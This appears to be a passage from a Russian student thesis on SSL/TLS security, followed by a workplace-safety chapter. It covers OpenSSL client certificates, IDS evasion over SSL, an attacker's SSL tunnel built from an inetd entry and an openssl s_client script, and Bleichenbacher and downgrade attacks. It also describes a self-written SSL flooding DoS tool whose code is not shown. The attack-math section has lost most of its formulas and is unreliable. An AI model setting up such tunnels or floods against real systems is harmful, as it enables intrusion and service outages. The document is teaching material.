Теперь доступ к Web-серверу через SSL будет разрешаться только тем браузерам, у которых установлен клиентский сертификат, подписанный нашим местным СА. Набрав URL сайта в браузере. После установки SSL соединения MS Internet Explorer попросит нас выбрать клиентский сертификат, который мы бы хотели использовать.
2.1.7.2 Создание клиентских сертификатов
Обычно создание личного клиентского сертификата очень похоже на создание сертификата Web-сервера. Нужно выполнить следующие шаги, используя OpenSSL, чтобы получить клиентский сертификат. Стоит отметить, что рекомендуется автоматизировать и упростить все шаги, осуществляемые пользователем, чтобы максимально уменьшить вероятность ввода неверных значений. После этого можно использовать Java Applets. Существует альтернатива этому методу - выделенный хост может быть также использован для создания клиентских сертификатов. Таким образом, пользователи будут вынуждены каждый подойти к серверу и ввести парольную фразу для шифровки их собственного приватного ключа. Несмотря на то, что это не очень удобно, это самый безопасный метод, т.к. личность пользователя будет однозначно проверена, а приватный ключ может быть передан пользователю не через сеть.
Действия, которые необходимо выполнить для создания клиентского сертификата:
1) создаем пользовательскую пару приватный/общедоступный ключ вместе с запросом на сертификат. openssl req;
2) пользователь посылает запрос на сертификат (request.pem) в местный СА для подписи;
3) задача местного СА - проверить правильно ли пользователь заполнил поля в запросе на сертификат;
4) после верификации запрос на сертификат (request.pem) следует скопировать в директорию $SSLDIR/requests на местном хосте СА, при помощи переносного устройства, например USB флэшки;
5) местный СА должен подписать сертификат следующим образом. Эти команды нужно выполнить на хосте СА:
openssl ca
-config $SSLDIR/openssl.cnf
-policy policy_anything
-extensions ssl_client
-out $SSLDIR/requests/signed.pem
-infiles $SSLDIR/requests/request.pem;
6) местный СА пришлет пользователю подписанный сертификат (signed.pem);
7) после получения подписанного сертификата пользователю необходимо сохранить приватный ключ вместе с сертификатом в формате PKCS#12;
8) только что созданный файл client.p12 следует защитить парольной фразой, трудной для подбора. Все остальные файлы (включаю незашифрованный приватный ключ, подписанный сертификат и запрос на сертификат) следует удалить, используя утилиту wipe:
wipe client.key signed.pem request.pem;
9) клиентский сертификат, вместе с приватным ключом должен быть установлен в Web-браузер пользователя.
Теперь сертификат можно найти в 'Personal' (Личной) вкладке при просмотре сертификата (в меню in MS Internet Explorer -> вкладка 'Content' (Содержание)-> 'Certificates' (см. Рисунок 2.5).
Данный раздел можно использовать для лабораторных работ по курсу «Защиты информации в компьютерных сетях», при прохождении темы «протокол SSL».
Рисунок 2.5 - Пример клиентского сертификата
2.1.8 Пример атака на IDS
Используя различные программные средства, злоумышленники извлекают из передаваемых данных конфиденциальную информацию. Для выявления вторжений протокол SSL является единственным существенным препятствием. В большинстве систем SSL для сбора данных о сетевой деятельности используются средства анализа пакетов. Если передаваемые данные зашифрованы, то их анализ и проверку на 'благонадежность' выполнить уже невозможно. Все IDS, работа которых основана на анализе сетевых пакетов, 'не замечают' атаки на базе SSL.
Чтобы проиллюстрировать 'возможности' IDS по выявлению атак, основанных на использовании протокола SSL, рассмотрим пример такой атаки на узел под управлением Windows, на котором установлен также Web-сервер IIS 4.0. В рамках примера рассматривается следующая сетевая конфигурация:
- сервер IIS прослушивает порты 80 и 443 узла 192.168.7.203;
- система выявления вторжений Snort запущена на узле webspy, прослушивающем тот же cетевой сегмент, в котором находится и узел 192.168.7.203;
- злоумышленник # 1 располагается на узле 10.0.0.1;
- злоумышленник #2 располагается на узле 10.0.0.2.
Против узла 192.168.7.203 было инициировано четыре атаки: две атаки МDАС RDS с узла 10.0.0.1 и две атаки Unicode cmd.exe с узла 10.0.0.2. Надо сказать, что один из хакеров в отличие от второго не пользовался SSL - протоколом. Если просмотреть все записи журнала сервера IIS узла 192.168.7.203 после хакерских атак, можно увидеть, что все Get- запросы были зарегистрированы. Но при этом в журналах системы Snort, запущенной на системе webspy, содержится только две записи (сохранились только те запросы, которые осуществлялись без использования SSL). В итоге, две атаки через безопасный протокол остались вне поля зрения IDS (рисунок 2.6).
Рисунок 2.6 - Атака на IDS
2.1.9 Туннелирование атак посредством протокола SSL
Для реализации НТТР-атак с использованием протокола SSL можно без проблем воспользоваться броузером. Для этого достаточно указать в адресе URL префикс https, а не http. Далее браузер сам позаботится о согласовании параметров SSL-сеанса и шифровании данных. Однако, если для реализации атаки взломщику нужно воспользоваться сценарием или утилитой, в которых отсутствует встроенная поддержка протокола SSL, придется прибегнуть к SSL-туннелированию. Этот метод подразумевает использование специальной программы, которая прослушивает порт 80 и при поступлении на него стандартных НТТР-запросов передает их через зашифрованное SSL- соединение указанному узлу. В рамках такой схемы передаваемые данные будут автоматически шифроваться и передаваться целевой системе. Построить SSL-туннель на базе пакета ОрепSSL совсем несложно, особенно в системе Unix, в которой используется демон inetd. Рассмотрим пример, когда злоумышленник находится на узле 10.0.0.1, а целевой Web -сервер установлен на узле 192.168.7.203 и прослушивает порт 443. Предположим, что злоумышленник хочет запустить на Web-сервере такую программу поиска ошибок, как Whisker. Для реализации задуманного плана злоумышленник создает SSL-туннель на другой системе, 10.0.0.2. При этом в файл /etc/inetd.conf на узле 10.0.0.2 он добавляет следующую запись: www. stream tcp nowait root /usr/sbin/tcpd /tmp/sslconnect.sh. Подобное изменение конфигурации приведёт к тому, что демон inetd будет передавать сценарию /tmp/sslconnect.sh весь TCP-траффик, приходящий на порт 80. В файле /tmp/sslconnect.sh содержится примерно такой код: #/bin/sh openssl s_client -no_tls1 -quiet -connect 192.168.7.203:443 2 /dev/null. Поскольку сценарий /tmp/sslconnect.sh запускается демоном inetd, все данные, подающие на ТСР-порт 80, воспринимаются утилитой openssl как данные, поступающие из стандартного входного потока. IР-адрес 192.168.7.203 целевого сервера жестко задан в самом сценарии. Один такой SSL-туннель одновременно можно использовать для взаимодействия только с одной системой. Параметры -no_tls1 -quiet предназначены для подавления вывода на экран заголовков SSL и обхода предупреждений SSL-аутентификации, генерируемых при использовании неподписанных сертификатов узлов. Все возвращаемые утилитой opensll данные отсылаются обратно через входящее ТСР-соединение демона inetd, поскольку сценарий передает все данные в стандартный выходной поток. Теперь в качестве целевого сервера утилиты Whisker взломщик может задать узел 10.0.0,2 и порт 80, а не узел 192.168.7.203. При этом шифрование и передача данных на узел 192.168.7.203, а также передача ответов по адресу 10.0.0.1 будут обеспечиваться SSL-туннелем. Более удачный и надежный SSL-туннель можно организовать с использованием утилиты stunnel (ее исполняемую версию для системы Windows, разработанную на базе библиотек OpenSSL, можно найти по адресу [8])
2.1.10 Схема высокоуровневой атаки
Выделяя минимальные аспекты SSL, нужно понимать атаки на высоком уровне. SSL протокол начинается с handshaking этапа, в течении которого договариваются о версии протокола, алгоритмы шифрования и сжатия, выполняется аутентификация, используется механизм «открытых ключей». Общие секреты, которые включают симметричные ключи и IV для каждого соединения, могут затем использоваться для симметрично-ключевого шифрования и аутентификации сообщения. Стандарт SSL включает симметрично-ключевое шифрование, используя при этом либо блочные, либо поточные шифры. Большинство реализации используют блочные шифры. Длина блоков в разных алгоритмах имеет разное значение, например DES использует 64 битовые блоки.
Предположим, что S- ключ, Х - блок, - сообщение, которое шифруется при помощи SSL, при этом получаем некоторое IV, которое обозначим , вычислим следующим образом:
Ci = Fsk(Pi Ci =1) (2.1)
Результирующий зашифрованный текст представляется как: С,…, , если получатель уже знает С, тогда он не должен быть передан. Чтобы декодировать, получатель вычисляет for i=1 to l следующим образом:
= Fsk=1 (Ci) Ci=1 (2.2)
На практике для безопасности выбирается новый IV для каждого сообщения, которое закодировано.
Предположим, что злоумышленник, который может установить открытый текст атаки, как-то хочет проверить величину любого блока открытого текста. Из выше сказанного злоумышленник, который наблюдал зашифрованный текст …, хочет определить, что блок независимого открытого текста Pj равняется некоторой строке P* . Отметим, что злоумышленник знает IV, который будет использован при кодировании следующего сообщения. Рассмотрим теперь, что происходит, если злоумышленник заставляет отправителя кодировать сообщение , которое имеет начальный блок равный: . Первый блок зашифрованного текста вычисляется как:
(2.3)
Покажем также, что . Из этого следует, что если , следовательно: . На этом этапе злоумышленник должен проверить догадку для значения каждого блока открытого текста . На практике, выполняя вышеуказанную атаку некоторое время, при этом злоумышленник знает, что - одна из двух возможных величин, то через некоторое время он может определить фактическое значение . Аналогично, если нападающий знает, что - это одно из N возможных значений, тогда, повторяя атаку в среднем N/2 времени, злоумышленник может определить фактическое значение . Кроме уже нарушенного понятия безопасности, проделанное подразумевает, что данная атака может быть использована для определения величины короткого пароля.
Требования атаки. В случаи попытки восстановить пароль пользователя или PIN, кратко выделим требования к вышеописанной атаки , чтобы добиться успеха:
- злоумышленник должен узнать, какой открытого текста j будет содержать желаемую информацию (злоумышленник знает формат передачи HTTPS);
- злоумышленник должен знать . Тем не менее, пока зашифрованный текст следует по среде Internet, это осуществить не сложно;
- злоумышленник должен знать IV, который используется для следующего сообщения. Эту информацию злоумышленник должен извлечь из последнего блока зашифрованного текста предшествующего сообщения;
- злоумышленник должен включить выбранный блок открытого текста в первый блок следующего сообщения, которое нужно передать. Это наиболее важная часть атаки.
Реализация данной атаки возможна, если злоумышленник сможет убедить получателя использовать полученный встроенный блок (plug-in), как правильный. Чтобы быть уверенным, что получатель убежден в целостности сообщения, можно установить свое программное обеспечение, типа “Snifer”. Т.к Snifer не наблюдается в «Меню процессов» и в «Меню подключений», это делает наш метод более адекватным при применении данной атаки. Данные Web-странички (HTML - формат), в которыхх находится информация об версии SSL, могут отображаться с помощью browser. Некоторые данные передаются, как изображения (image-files). Чтобы использовать злоумышленником своего программного обеспечения, его нужно загрузить на атакуемой машине. В результате внедрения своего программного продукта, злоумышленник сможет наблюдать за нажатием клавиш на атакуемой машине (см. Рисунок 2.7).
2
Рисунок 2.7 - Алгоритм высокоуровневой атаки.
2.1.11 Атака основанная на реализации RSA
Рассмотрим атаку, которая основана на реализации RSA в протоколах SSL/TLS. Эти протоколы включают PKCS (v.1.5) для кодирования RSA -секретной величины, которая является единственной, секретной величиной, использованной для получения всех конкретных сеансовых ключей. Следовательно, злоумышленник, при восстановлении premaster-секрета, сможет декодировать весь захваченный сеанс SSL/TLS. Включение номера версии PKCS в открытом тексте, но при использовании SSL/ TLS создается канал, который позволяет интерпретировать шифрование RSA. Злоумышленник получит возможность подписывать сообщения от имени сервера. На практике, в результате тестов, было доказано, что 2/3 выбранных протоколов SSL/TLS оказались уязвимыми. В данной дипломной работе будет рассмотрен метод атаки на PKCS (v.1.5), который называется атака Bleichenbacher's. Введем понятие “оракула плохой версии” (BVO).
2.1.11.1 Планирование и распространение атаки Bleichenbacher
Эта атака позволяет нам вычислять величину x = yd mod N для любого данного целого значения у, где d - это неизвестная величина, N - модуль RSA. Эта атака основана на том, что злоумышленник для каждого зашифрованного текста С сообщает соответствующий открытый текст RSA P = Cd mod N . BVO, введенный в предыдущей части, может быть использован с полной уверенностью. Используя эту атаку для SSL/TLS, мы можем реализовать эту атаку для раскрытия premaster-секрет в течении произвольного захваченного сеанса или подделывания атрибутов сервера. В данной работе мы сосредоточим свое внимание на раскрытии premaster-секрет .
Основная идея в применении Bleichenbacher-атаки, с некоторыми изменениями, заключается в специфических свойствах S-PKCS и BVO.
Покажем как преобразовуется Bleichenbacher исходный алгоритм RSA для BVO с целью увеличения эффективности. PKCS соответствие открытого текста удовлетворяет следующую систему неравенств:
, (2.4)
где E=2B, F=3B-1, B=256k-2. Границы E, F широко применены в целом алгоритме инверсии RSA. Если SSL/TLS протоколы имеют дело только с S-PKCS соответствиями открытого текста, то BVO улучшается. Следовательно, можно записать границы как:
, (2.5)
где значение получено включением минимума заполнения, значение вычисляется фиксированной позицией нулевого разделителя в открытом тексте P:
E' = 2B + 1 *256 k-3 + 1 *256 k-4 + ... + 1 *256 49 = 2B + 256 49 (256 k-5 - 1 )/255 and F' = 2B + 255*(256 k-3 + 256 k-4 + ... +256 49 ) + 0 + 255*(256 47 + 256 46 + ... + 256 0 ) =3B - 255*256 48 - 1 .
Значения и подставляют в исходный алгоритм для увеличения эффективности атаки.
При этом злоумышленник должен знать ожидаемую величину номера версии, которая проверяется BVO. Следовательно, при атаке на зашифрованный текст С0, BVO(C0) = 0, чтобы узнать premaster-секрет, злоумышленник точно знает два байта P0,k-47 и P0,k-46 S-PKCS - соответствия открытого текста P0= C0 d mod N, он также знает, что P0,k-48= 0. Эти значения используются при вычислении границ интервала <a,b>.
2.1.12 Атаки на протокол TLS методом понижения версии
Так как TLS содержит существенные улучшения по сравнению с SSL версии 2.0, атакующие могут попытаться создавать TLS-совместимых клиентов и серверов, чтобы вернуться к версии 2.0. Эта атака может произойти, если два TLS-совместимых партнера используют диалог в SSL 2.0 [5,7].
Хотя решение, использующее неслучайное заполнение сообщения блока PKCS #1 типа 2, не является надежным, оно предоставляет безопасный путь для серверов версии 3.0, чтобы заметить такую атаку. Это решение не безопасно по отношению злоумышленников, которые могут попытаться подсунуть ключ и осуществить подмену сообщения ENCRYPTED-KEY-DATA, содержащего тот же ключ (но с нормальным заполнителем) до момента истечения порога ожидания, заданного приложением. Партнеры, озабоченные атаками этого типа, никогда не должны использовать 40-битовые ключи шифрования. Вариация заполнителя младших 8 байт PKCS не увеличивает безопасности, так как это просто эквивалентно увеличению размера входного блока на 8 байт.
2.1.12.1 Избегание атак понижения версии посредником (man-in-the-middle) на протокол TLS
Когда клиенты TLS возвращаются к режиму совместимости с версией 2.0, они должны использовать специальное форматирование блоков PKCS #1. Это сделано так, что TLS-серверы будут отклонять сессии версии 2.0 с совместимыми TLS-клиентами.
Когда клиенты TLS работают в режиме совместимости с версией 2.0, они устанавливают правые случайные 8 байт заполнителя PKCS (исключая завершающий нулевой заполнитель) для RSA-шифрования поля ENCRYPTED-KEY-DATA CLIENT-MASTER-KEY, равными 0x03 (остальные байты заполнителя содержат произвольные случайные значения). После дешифрования поля ENCRYPTED-KEY-DATA, серверы, которые получают блоки, заполненные по такой схеме, продолжают свою работу обычным образом.
2.2 Моделирование Dos-атаки на протокол SSL
В общем случае, в распределенной ВС каждый субъект системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных сетях возможность предоставления удаленного доступа реализуется следующим образом: на объекте РВС в сетевой ОС запускаются на выполнение ряд программ-серверов (например, SSL-сервер, FTP-сервер и т.п.), предоставляющих удаленный доступ к ресурсам данного объекта. Данные программы-серверы входят в состав телекоммуникационных служб предоставления удаленного доступа. Задача сервера состоит в том, чтобы, находясь в памяти операционной системы объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае получения подобного запроса SSL-сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет. По аналогичной схеме происходит создание виртуального канала связи, по которому обычно взаимодействуют объекты РВС. При использовании SSL-сервера, непосредственно ядро сетевой ОС обрабатывает приходящие запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса (443 порт) прикладному процессу, которым является SSL-сервер.
Очевидно, что сетевая операционная система способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зависят от различных параметров системы в целом, основными из которых являются быстродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи (чем она выше, тем больше число возможных запросов в единицу времени).
Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных SSL-запросов на подключение от имени других объектов, то в этом случае будет иметь успех типовая удаленная атака 'Отказ в обслуживании'. Результат применения этой удаленной атаки - нарушение на атакованном объекте работоспособности соответствующей службы предоставления удаленного доступа, то есть невозможность получения удаленного доступа с других объектов РВС - отказ в обслуживании.
Вторая разновидность этой типовой удаленной атаки состоит в передаче с одного адреса такого количества SSL-запросов на атакуемый объект, сколько позволит трафик. В этом случае, если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может являться как переполнение очереди запросов и отказа SSL-службы, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов.
И последней, третьей разновидностью атаки 'Отказ в обслуживании' является передача на атакуемый объект не корректного, специально подобранного SSL-запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим зависанием системы ('Ping Death'). Данный тип атаки мы использовали при написании программного продукта (Приложение А). Суть данной атаки заключается в том, что мы посылаем на указанный нами хост специально сформированный SSL - запрос. При чем атакуемая машина выступает в роли сервера, а машина злоумышленника - в роли клиента. Перед использованием данной программы нужно воспользоваться утилитой X-Spider, которая позволит увидеть открытые порты на атакуемой машине. Затем программа начинает забрасывать указанную машину на найденный открытый порт большим количеством SSL-запросов. Сервер не успевает обработать такое количество запросов и, как результат, SSL-служба на атакуемой машине перестает работать, результаты атаки приведены в Приложении Б. Данная атака ориентирована на Unix/Linux системы, поэтому для работы данной программы в среде Windows, её следует компилировать при помощи утилиты Cygwin.
Алгоритм данной атаки приведен на рисунке 2.8.
2
Рисунке 2.8 - Алгоритм Dos - атаки
3. БЕЗОПАСНОСТЬ ЖИЗНИ И ДЕЯТЕЛЬНОСТИ ЧЕЛОВЕКА
3.1 Анализ условий труда
Дипломная работа выполнялся в помещении научно - исследовательской лаборатории (НИЛ). При разработке применялись ПЭВМ. В дальнейшем при разработке вопросов БЖД будем использовать источники и нормативные документы, регулирующие вопросы безопасности охраны труда при эксплуатации ПЭВМ [19, 22, 26]. НИЛ расположено на 2 этаже здания, выполненного из железобетонных конструкций.
Размеры НИЛ составляют 7 x 6 x 3.5 м, что составляет площадь 42 м2.
Количество работающих - 6 человек (5 операторов ПЭВМ; 1 программист). Помещение НИЛ, исходя из норм на отдельные рабочие места, соответствует требованиям [22] - на одного работающего приходится 7 м2 площади и 24,5 м3 объема при норме 6 м2 и 20 м3 соответственно. В НИЛ размещены 6 ПЭВМ и 1 принтер.
В НИЛ образована система «Человек - Машина - Среда» («Ч-М-С»), элементами которой являются:
а) 6 элементов «человек» - люди, работающие в НИЛ (из них: 5 операторов ПЭВМ и 1 программист);
б) 6 элементов «машина» - ПЭВМ с периферийными устройствами;
в) «среда» - производственная среда в помещении НИЛ. Каждый элемент «человек» можно условно разделить на следующие функциональные части:
Ч1 - это человек-оператор (программист), управляющий машиной;
Ч2 - это человек, рассматриваемый с точки зрения непосредственного влияния на окружающую среду за счет тепло и влаговыделения, потребления кислорода и др.;
Ч3 - это человек, рассматриваемый с точки зрения его психофизиологического состояния под влиянием факторов, воздействующих на него в производственном процессе.
ПТ1 - предмет труда (контроль программного продукта);
ПТ2 - предмет труда (проектирование программного продукта);
М1 - выполняет основную техническую функцию (программный продукт);
М2 - функции аварийной защиты (изоляция, предохранители);
М3 - управление окружающей средой (тепло, шум, электромагнитное излучение);
А - влияние внешних факторов на «Ч-М-С» (влияние природной среды на производственную среду);
В - влияние «Ч-М-С» на внешние факторы (взаимодействия производственной среды с окружающей природной средой.).
Безопасность труда в системе «Ч-М-С» определяют побочные (вредные) связи (рисунок 3.1), которые являются причиной существования опасностей в помещении НИЛ.
Рисунок 3.1 - Структура системы «Человек - Машина - Среда» для НИЛ.
На рисунке 3.1 приведены обозначения:
1 - (Ч1-М1) воздействие человека на управление машиной и ее настройки (программирование, аудит);
2 - (ПТ-М1) информация о состоянии предмета труда, управляемая машиной (исходные данные программы);
3 - (М1-ПТ) воздействие машины на предмет труда (компиляция программного кода);
4 - (Ч2-С)влияние 'человека' на 'среду' (теплообмен, шум) ;
5 - (С-Ч3) влияние 'среды' на психофизиологическое состояние 'человека' (утомление, перенапряженность анализаторов);
6 - (С-Ч1) влияние 'среды' на качество работы 'человека' (физическая и умственная активность);
7 - (М1-С) влияние 'машины' на состояние 'среды' (Эл.магн. излучение, тепло);
8 - (С-М1, С-М3) влияние 'среды' на качество работы 'машины' (повышение температуры деталей компьютера);
9 - (Ч1-Ч3) связь выполняемой работы с психофизиологическим состоянием организма (утомление, умственная перенапряженность);
10 - (Ч1-Ч2) влияние характера труда на интенсивность обмена веществ;
11 - (Ч3-Ч3) взаимодействие людей между собой ;
12 - (М1-Ч1) информация о состоянии машины, обрабатываемая человеком (программный код, изображенный на мониторе);
13 - (М1-М2) информационная связь между компьютером и защитной функцией;
14 - аварийное управляющее воздействие (М2-М1).
Анализ побочных (вредных) связей позволяет выделить следующие опасности: аномальный микроклимат, выполнение физической или умственной работы, несоответствие показателей естественного и искусственного освещения характеристикам человека, опасность поражения человека электрическим током, шумовое воздействие. Иные опасности, например, патогенные микроорганизмы, ядовитые химические вещества и др. маловероятны. Следовательно, при определенных условиях случайного или детерминированного характера в помещении НИЛ возможно возникновение опасных и вредных производственных факторов (ОВПФ), способных привести к снижению работоспособности, травме или заболеванию человека. В таблице 3.1 перечислены возможные ОВПФ с указанием их источника, фактического уровня в НИЛ и последствий воздействия на человека.
Для обеспечения нормальных условий труда в помещении НИЛ необходимо:
1) разработать организационные и технические мероприятия для обеспечения безопасности труда при работе с электрооборудованием (ПЭВМ, принтеры);
2) разработать организационные и технические мероприятия и выбрать технические средства для обеспечения необходимых санитарно-гигиенических условий труда;
3) выполнить размещение и организацию рабочих мест и назначить режим труда и отдыха;
4) разработать мероприятия по пожарной профилактике.
Проанализировав таблицу 3.1, видно, что в помещении слабое освещение. Поэтому доминирующим вредным фактором выберем нехватку искусственного освещения рабочей зоны.
Таблица 3.1 - Оценка факторов производственной среды и трудового процесса
|
Факторы производственной среды и трудового процесса
|
Значение Фактора (ПДК, ПДУ)
|
3 класс - опасные и вредные условия, характер труда
|
Продолжительность (% за смену)
|
|
|
Норма
|
Факт
|
1 ст
|
2 ст
|
|
|
|
1. Шум
|
60 Дб
|
45 Дб
|
-
|
-
|
75-80%
|
|
|
2. Неионизирующие излучения:
|
|
|
|
|
|
|
|
- промышленной частоты
|
25 В/м
|
20 В/м
|
-
|
-
|
80-90%
|
|
|
- радиочастотного диапазона
|
2,5 В/м
|
1,8 В/м
|
-
|
-
|
100%
|
|
|
3. Рентгеновское излучение
|
100 мкР/ч
|
65 мкР/ч
|
-
|
-
|
80-90%
|
|
|
4. Микроклимат: - температура воздуха
|
23-25оС
|
23оС
|
|
|
100%
|
|
|
- скорость движения воздуха
|
0.1 м/c
|
0.1 м/с
|
-
|
-
|
80-90%
|
|
|
- относительная влажность
|
40-60%
|
50%
|
-
|
-
|
100%
|
|
|
5. Освещение: - естественное
|
2%
|
2%
|
-
|
-
|
лет.вр 80% зим.вр. 55%
|
|
|
- искусственное
|
300-500 Лк
|
250 Лк
|
-
|
250 Лк
|
лет.вр 20% зим.вр. 45%
|
|
|
6. Тяжесть труда:
|
|
|
|
|
|
|
|
- Мелкие стереотипные движения кистей и пальцев рук (количество за смену)
|
40000
|
20000
|
-
|
-
|
75-80%
|
|
|
7.Напряженность труда а) напряженность анализаторов: - зрение (категория работ)
|
Точные работы
|
Точные работы
|
-
|
-
|
75-80%
|
|
|
б) эмоциональное и интеллектуальное напряжение
|
Решение задач без ограничения по времени
|
Решение задач без ограничения по времени
|
-
|
-
|
60%
|
|
|
8. Сменность
|
8-часовая смена
|
8-часовая смена
|
-
|
-
|
100%
|
|
|
3.2 Техника безопасности
По степени опасности поражения электрическим током, согласно ПУЭ-85 [28], помещение НИЛ относится к классу помещений с повышенной опасностью, поскольку в помещении возможно одновременное прикосновение к корпусам ПЭВМ или принтера с одной стороны и к заземленным металлическим конструкциям помещения (батареи отопления) с другой стороны. Для приведения к помещениям без повышенной опасности следует оградить батареи деревянными решетками.
Электроснабжение НИЛ осуществляется от трехфазной четырёхпроводной сети с глухозаземленной нейтралью, ток переменный, частота 50 Гц, напряжение 220/380 В. Согласно требованиям ПУЭ [18], ГОСТ 12.1.019-79 [15], ГОСТ 12.1.030-8 [16] для обеспечения безопасности необходимо выполнить зануление. Для этого следует преднамеренно электрически соединить с нулевым проводником сети корпуса всех ПЭВМ и принтера, которые могут случайно оказаться под напряжением. Соединение выполнить проводником, марка и сечение которого такие же, как и фазовый проводник сети. Зануление превращает замыкание на корпус ПЭВМ или принтера в однофазное короткое замыкание и отключение поврежденного участка сети осуществляется автоматом защиты, ток срабатывания которого должен превышать в 5-7 раз максимальный ток, потребляемый электрооборудованием в НИЛ (для исключения срабатывания автомата защиты при включении электрооборудования), но быть меньше в 1,4 раза тока короткого замыкания (ток, потребляемый электрооборудованием меньше 100А). Время отключения поврежденного участка сети должно быть не более 0,1-0,2с.
Для уменьшения напряжения, приложенного к телу человека при пробое фазы на корпус ПЭВМ или принтера, необходимо выполнить повторное заземление нейтрали. Для этого соединенные между собой корпуса ПЭВМ и принтера следует заземлить, используя естественные и искусственные заземлители. Сопротивление повторного заземления не должно превышать 10 Ом [28].
Необходимо проводить контроль изоляции. Контроль проводить между нулем и фазой и между фазами. Сопротивление изоляции должно быть не менее 0.5 МОм [28]. Контроль проводить не реже 1 раза в год при отключенном электропитании.
Электросеть розеток для питания ПЭВМ следует согласно [26] проложить под съемным полом в гибких металлических рукавах.
Согласно [26] запрещается:
- применять самодельные удлинители, не соответствующие требования ПУЭ к переносным электропроводкам;
- применять для отопления нестандартное электронагревательное оборудование;
- пользоваться поврежденными розетками, разветвителями, коробками, выключателями и другими электроизделиями.
Согласно требованиям ДНАОП 0.00-4.12-99 [23] необходимо проводить вводный, первичный на рабочем месте, повторный, а при необходимости -внеплановый и целевой инструктажи.
Вводный инструктаж необходимо проводить при поступлении на работу. Инструктаж организует и проводит служба охраны труда, факт инструктажа фиксируется в журнале вводного инструктажа.
Первичный инструктаж необходимо проводить непосредственно на рабочем месте. Факт инструктажа необходимо фиксировать в журнале первичного инструктажа. Аналогично с периодичностью 1 год проводить повторные инструктажи.
Внеплановый инструктаж следует проводить при изменении условий труда, введения в эксплуатацию новой техники, а также при несчастных случаях.
Целевой инструктаж в НИЛ необходимо проводить при выполнении работниками НИЛ работ, не связанных с их основными обязанностями.
Содержание всех инструктажей должно соответствовать требованиям ДНАОП 0.04.4.12-94 [23].
При обслуживании, ремонте и наладке ПЭВМ необходимо руководствоваться «Правилами охраны труда при эксплуатации электронно-вычислительных машин» [22].
3.3 Производственная санитария и гигиена труда
Работа в НИЛ производится сидя и не требует систематического физического напряжения. Работа в НИЛ производится сидя и не требуется систематического физического напряжения. Согласно ГОСТ 12.1.005-88 [12] и ДСН 3.3.6.042-99 работа относится к категории легкой 1а и для нее установлены параметры микроклимата, приведенные в таблице 3.2.
Таблица 3.2 - Оптимальные нормы микроклимата
|
Время года
|
Температура воздуха, град. С
|
Относительная влажность воздуха, %
|
Скорость движения воздуха, м/с
|
|
|
Холодное
|
22-24
|
40-60
|
0.1
|
|
|
Теплое
|
23-25
|
40-60
|
0.1
|
|
|
Оптимальные метеопараметры поддерживаются в холодное время системой отопления, в теплый период системой кондиционирования .
Согласно ГОСТ 12.1.005-88 [12] и ДСН 3.3.6.042-99 работа относится к категории легкой 1а и для нее установлены параметры освещенности не менее 300лк.
Как следует из таблицы 3.1 фактические значения ОВПФ недостаточная освещенность рабочей зоны не соответствуют нормам. Для обеспечения установленных норм освещения в помещении НИЛ следует применять искусственное освещение.
При проектировании осветительной установки необходимо решить следующие основные вопросы:
выбрать тип источника света -- рекомендуются газоразрядные лампы, за исключением мест, где температура воздуха может быть менее -5 ° С и напряжение в сети падать ниже 90 % номинального, а также местного освещения (в этих случаях применяются лампы накаливания);
определить систему освещения (общая локализованная или равномерная, комбинированная);
выбрать тип светильников с учетом характеристик светораспределения, условий среды (конструктивного исполнения) и др.;
распределить светильники и определить их количество (светильники могут располагаться рядами, в шахматном порядке, ромбовидно);
определить норму освещенности на рабочем месте.
Для расчета общего равномерного освещения при горизонтальной рабочей поверхности основным является метод коэффициента использования светового потока, учитывающий световой поток, отраженный от потолка и стен [34]. Световой поток лампы Фл, лм, при лампах накаливания или световой поток группы ламп светильника при люминесцентных лампах рассчитывают по формуле
, (3.1)
где E -- нормированная минимальная освещенность, л к; S -- площадь освещаемого помещения, м2; Z -- коэффициент неравномерности освещения (Z = 1,1... 1,5); -- коэффициент запаса, учитывающий снижение освещенности из-за загрязнения и старения лампы (= 1,2... 1,7); N -- число светильников;-- коэффициент затенения вводится для помещения с фиксированным положением работающих, принимают равным 0.8 - 0.9; -- коэффициент использования осветительной установки = 0,2...0,7); значение определяют в зависимости от показателя помещения; число рядов светильников.
Зрительная работа оператора ПЭВМ является работой высокой точности, поскольку наименьший размер объекта различения 0.3 - 0.5 мм и разряд зрительной работы - 1Г. По требованиям СНиП П-4-79 [31] величина коэффициента естественной освещенности (КЕО) должна быть равна 2 %. Естественный свет проникает в помещение НИЛ через боковые светопроёмы, что соответствует требованиям [26]. Окна должны иметь жалюзи или шторы. Искусственное освещение необходимо выполнить в виде сплошных или прерывистых линий светильников, расположенных параллельно линии зрения операторов [26]. Освещенность при работе с экраном в сочетании с работой над документами должна быть не менее 300 лк [30]. В качестве источников света рекомендуется применять люминесцентные лампы [19, 26].
Вычисляем индекс помещения по следующей формуле:
, (3.2)
где А и В -- длина и ширина помещения, м;
hр -- высота светильников над рабочей поверхностью, м;
і - индекс помещения.
, (3.3)
где -геометрическая высота помещения, м;
-высота стола(0.8м);
-расстояние от потолка до нижней плоскости светильника (0.3м).
.
С учетом коэффициентов удельного отражения пола ( 30 ), стен (50 ) и потолка ( 70 ) коэффициент отражения .
Для освещения с гигиенической и экономической точек зрения предпочтительны светильники ПВАМ-2 х 40 (двухламповые). Световой поток ламп ЛБ-40 2000 лм.
тогда
При выбранном типе и мощности люминесцентных ламп определяется необходимое число светильников N по методу светового потока может быть определено из выражения
, (3.4)
Расстояние от светильника до стены определяется выражением
, (3.5)
где расстояние между рядами светильников и определяется
, (3.6)
где принимается равным 1.4, тогда
м.
Тогда м.
Число рядов светильников определяется как
тогда
,
